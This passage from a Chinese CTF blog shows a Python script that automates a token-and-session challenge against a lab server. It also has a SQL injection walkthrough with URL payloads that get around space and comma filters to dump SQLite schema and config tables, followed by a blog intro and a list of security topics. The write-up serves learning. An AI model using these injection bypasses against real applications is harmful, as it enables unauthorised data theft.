Date: Sun, 12 Apr 2026 06:48:39 GMT
6

7
Content-Type: application/json
8

9
Vary: Cookie
10

11
Set-Cookie: session=.eJxNy8EKhSAQQNF_mbWL9GGW6_5DpAYTJo1phAfRv1e71veeE-Y1EmFJGLZGknfKyOCNHYxTn3hIZAmSNwSvnbOj660ev8e_Pk6bvjPdzyqgmhIuIRfwwg0VtAO5xNfDVLnCdQNO-ilV.adtARw.KI6gUMOaKTgX_xTynI-Pnz1dHKk; HttpOnly; Path=/
12

13
Connection: close
14

15
Content-Length: 287
16

17

18

19
{
20

21
  "expression": "token = (1775976519 * 25827) ^ 0xc04ab3",
22

23
  "hint": "doro记得这里会在session里面添加验证参数, 也许Set-Cookie可以帮助我们......",
24

25
  "multiplier": 25827,
26

27
  "xor_value": "0xc04ab3"
28

29
}

展开收起

这里大致意思是指不光要写脚本去计算随机生成的计算 token 的数据，还得去自动读取每次开始挑战浏览器给的随机的 session，带上这个 session 发送数据包才有意义

最终脚本如下：

1
import requests
2
import time
3
BASE_URL = "http://192.168.153.1:9223"
4
LOGIN_SESSION = "eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoiRG9ybyJ9.adsLpA.lTV0J_HJbj3H9h-9c58kMhXWZFw"
5
HEADERS = {
6
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
7
    "Content-Type": "application/json",
8
    "Accept": "*/*",
9
    "Origin": BASE_URL,
10
    "Referer": f"{BASE_URL}/home",
11
}
12
session = requests.Session()
13
session.headers.update(HEADERS)
14
session.cookies.update({'session': LOGIN_SESSION})
15
print("[*] 开始挑战流程...")
16
# Step 1: start_challenge
17
start_resp = session.post(f"{BASE_URL}/start_challenge", json={})
18
print(f"[*] start_challenge 状态: {start_resp.status_code}")
19
# 关键：完整接收并更新所有返回的 Cookie（尤其是新的 session）
20
if start_resp.cookies:
21
    old_session = session.cookies.get('session')
22
    session.cookies.update(start_resp.cookies)
23
    new_session = session.cookies.get('session')
24
    print(f"[*] Cookie 已更新 | 新 session: {new_session[:60]}...")
25
data = start_resp.json()
26
print(f"[*] 挑战数据: {data}")
27
# Step 2: 计算 token（使用当前时间戳）
28
multiplier = int(data['multiplier'])
29
xor_val = int(data['xor_value'], 16)
30
current_ts = int(time.time()) # 使用现在的时间
31
token = (current_ts * multiplier) ^ xor_val
32
print(f"[*] 当前时间戳: {current_ts}")
33
print(f"[*] multiplier : {multiplier}")
34
print(f"[*] xor_value : {hex(xor_val)}")
35
print(f"[*] 计算 token : {token}")
36
# Step 3: 立即提交（不要有延迟）
37
print("[*] 正在提交 verify_token...")
38
verify_resp = session.post(f"{BASE_URL}/verify_token", json={"token": token})
39
print(f"[*] 提交状态码: {verify_resp.status_code}")
40
try:
41
    result = verify_resp.json()
42
    print(f"🎉 结果: {result}")
43

44
    if result.get('success') == True or 'flag' in str(result).lower():
45
        print("\n✅ 成功！拿到 FLAG 了！")
46
    else:
47
        print("\n❌ 还是失败 → 建议**立刻**再运行一次脚本（时间很敏感）")
48
except Exception:
49
    print(f"🚨 响应内容: {verify_resp.text}")

展开收起

小 E 的管理系统#

题目提示是 SQL 注入，这里先试图构造单引号

发现单引号，空格均被过滤

随后可以尝试编码绕过，如使用 %09，%20等等可以替代空格的

构造 1%09union 得到如下报错：

1
{"error":"database error: Unable to prepare statement: incomplete input"}

询问 AI 得知此题数据库大概率为 SQLite

后续再试常规的 union 注入过程中发现 , 被过滤

这里使用 join 去绕过：

1
http://127.0.0.1:37458/query.php?id=1%09union%09select%09*%09from%09(select%091)%09a%09join%09(select%092)%09b%09join%09(select%093)%09c%09join%09(SELECT%09name%09FROM%09sqlite_master)%09d%09join%09(select%09sql%09FROM%09sqlite_master)%09f

得到结果：

1
[{"id":1,"cpu":2,"ram":3,"status":"node_status","lastChecked":null},{"id":1,"cpu":2,"ram":3,"status":"node_status","lastChecked":"CREATE TABLE node_status (\n    node_id INTEGER PRIMARY KEY,\n    cpu_usage VARCHAR(10),\n    ram_usage VARCHAR(10),\n    status VARCHAR(15) CHECK(status IN ('Online','Offline','Maintenance')),\n    last_checked DATETIME DEFAULT CURRENT_TIMESTAMP\n)"},{"id":1,"cpu":2,"ram":3,"status":"node_status","lastChecked":"CREATE TABLE sqlite_sequence(name,seq)"},{"id":1,"cpu":2,"ram":3,"status":"node_status","lastChecked":"CREATE TABLE sys_config (\n    id INTEGER PRIMARY KEY AUTOINCREMENT,\n    config_key VARCHAR(50) UNIQUE,\n    config_value TEXT\n)"},{"id":1,"cpu":2,"ram":3,"status":"sqlite_autoindex_sys_config_1","lastChecked":null},{"id":1,"cpu":2,"ram":3,"status":"sqlite_autoindex_sys_config_1","lastChecked":"CREATE TABLE node_status (\n    node_id INTEGER PRIMARY KEY,\n    cpu_usage VARCHAR(10),\n    ram_usage VARCHAR(10),\n    status VARCHAR(15) CHECK(status IN ('Online','Offline','Maintenance')),\n    last_checked DATETIME DEFAULT CURRENT_TIMESTAMP\n)"},{"id":1,"cpu":2,"ram":3,"status":"sqlite_autoindex_sys_config_1","lastChecked":"CREATE TABLE sqlite_sequence(name,seq)"},{"id":1,"cpu":2,"ram":3,"status":"sqlite_autoindex_sys_config_1","lastChecked":"CREATE TABLE sys_config (\n    id INTEGER PRIMARY KEY AUTOINCREMENT,\n    config_key VARCHAR(50) UNIQUE,\n    config_value TEXT\n)"},{"id":1,"cpu":2,"ram":3,"status":"sqlite_sequence","lastChecked":null},{"id":1,"cpu":2,"ram":3,"status":"sqlite_sequence","lastChecked":"CREATE TABLE node_status (\n    node_id INTEGER PRIMARY KEY,\n    cpu_usage VARCHAR(10),\n    ram_usage VARCHAR(10),\n    status VARCHAR(15) CHECK(status IN ('Online','Offline','Maintenance')),\n    last_checked DATETIME DEFAULT CURRENT_TIMESTAMP\n)"},{"id":1,"cpu":2,"ram":3,"status":"sqlite_sequence","lastChecked":"CREATE TABLE sqlite_sequence(name,seq)"},{"id":1,"cpu":2,"ram":3,"status":"sqlite_sequence","lastChecked":"CREATE TABLE sys_config (\n    id INTEGER PRIMARY KEY AUTOINCREMENT,\n    config_key VARCHAR(50) UNIQUE,\n    config_value TEXT\n)"},{"id":1,"cpu":2,"ram":3,"status":"sys_config","lastChecked":null},{"id":1,"cpu":2,"ram":3,"status":"sys_config","lastChecked":"CREATE TABLE node_status (\n    node_id INTEGER PRIMARY KEY,\n    cpu_usage VARCHAR(10),\n    ram_usage VARCHAR(10),\n    status VARCHAR(15) CHECK(status IN ('Online','Offline','Maintenance')),\n    last_checked DATETIME DEFAULT CURRENT_TIMESTAMP\n)"},{"id":1,"cpu":2,"ram":3,"status":"sys_config","lastChecked":"CREATE TABLE sqlite_sequence(name,seq)"},{"id":1,"cpu":2,"ram":3,"status":"sys_config","lastChecked":"CREATE TABLE sys_config (\n    id INTEGER PRIMARY KEY AUTOINCREMENT,\n    config_key VARCHAR(50) UNIQUE,\n    config_value TEXT\n)"},{"id":1,"cpu":"23%","ram":"45%","status":"Online","lastChecked":"2026-04-13 04:20:30"}]

这里我们查询 sys_config：

1
1%09union%09select%09*%09from%09(select%091)%09a%09join%09(select%092)%09b%09join%09(select%093)%09c%09join%09(SELECT%09config_key%09FROM%09sys_config)%09d%09join%09(SELECT%09config_value%09FROM%09sys_config)%09f

得到 flag：

flag{58af282f-3a2d-545c-f595-83d735e13d76}

建站！

Mon, 06 Apr 2026 00:00:00 GMT

我的第一篇博客#

终于搭好了自己的博客！

虽然只是一个托管的静态博客，但完工后（大…大概吧）还是很有成就感 233

先感谢一下 MeT 和 T，两位好友在我搭建过程中提供了非常大的帮助

还有就是学长和学姐（偷偷时间了下你们的博客嘻嘻）也提供了莫大的帮助

建站初心是为了记录自己的大学生活，学习经历以及实现“有个个人网站很酷”的愿望

如果我的文章能够对你有所帮助，我将会非常开心！

各位佬可以在关于我了解主包，如果佬们能留下友链就更好啦！

愿共同进步！

0n1y

Moectf2026-misc全解

Moectf2026-web全解

HTTP 请求走私

CL.TE#

TE.CL#

TE.TE#

发现漏洞#

利用计时#

不同响应#

利用漏洞#

前端绕过#

高级请求走私#

防护#

2026 奶龙杯

Web#

[NLCTF2026] unserialize/二血#

[NLCTF2026] ezphp#

[NLCTF2026] LamentXU’s chal#

[NLCTF2026] signin#

[NLCTF2026] lets_goooooo#

[NLCTF2026] little_Java#

[NLCTF2026] phantom的surprise#

Typecho（题目不记得了）（未解出）#

小总结-计划

PHPSerialize-labs

level1#

level2#

level3#

level4#

level5#

level6#

level7#

level8#

level9#

level10#

level11#

level12#

level13#

level14#

level15#

level16#

level17#

level18#

2026御网杯-web-ak

WEB-Snake_Game#

WEB-PHP_Payment#

WEB-Enterprise-OA#

WEB-TaxSystem_SSTI#

LitCTF2023-2025-web-wp

[LitCTF 2023]Flag点击就送！#

[LitCTF 2023]这是什么？SQL ！注一下 ！#

[LitCTF 2024]高亮主题(划掉)背景查看器#

[LitCTF 2024]exx#

[LitCTF 2024]百万美元的诱惑#

[LitCTF 2024]浏览器也能套娃？#

[LitCTF 2024]SAS - Serializing Authentication#

[LitCTF 2025]星愿信箱#

[LitCTF 2025]easy_file#

[LitCTF 2025]君の名は#

[LitCTF 2025]easy_signin#

[LitCTF 2025]多重宇宙日记#

[LitCTF 2025]nest_js#

LitCTF2026-web方向

[LitCTF2026] lit_ezsql（solved#

[LitCTF2026] 华辰企业服务运营平台（solved#

[LitCTF2026] Northbridge Document Hub（solved#

[LitCTF2026] lit_ezssti（solved#

[LitCTF2026] lit_reverse_my_web（not solved#

入门jwt安全

简述#

工具#

未做签名校验#

空加密#

报错注入#

爆破#

修改非对称算法为对称算法#

jwt 头部参数注入#

jwk 注入#

jku 注入#

[LitCTF 2023]这是什么？SQL ！注一下！#

后端检测 `content-type`#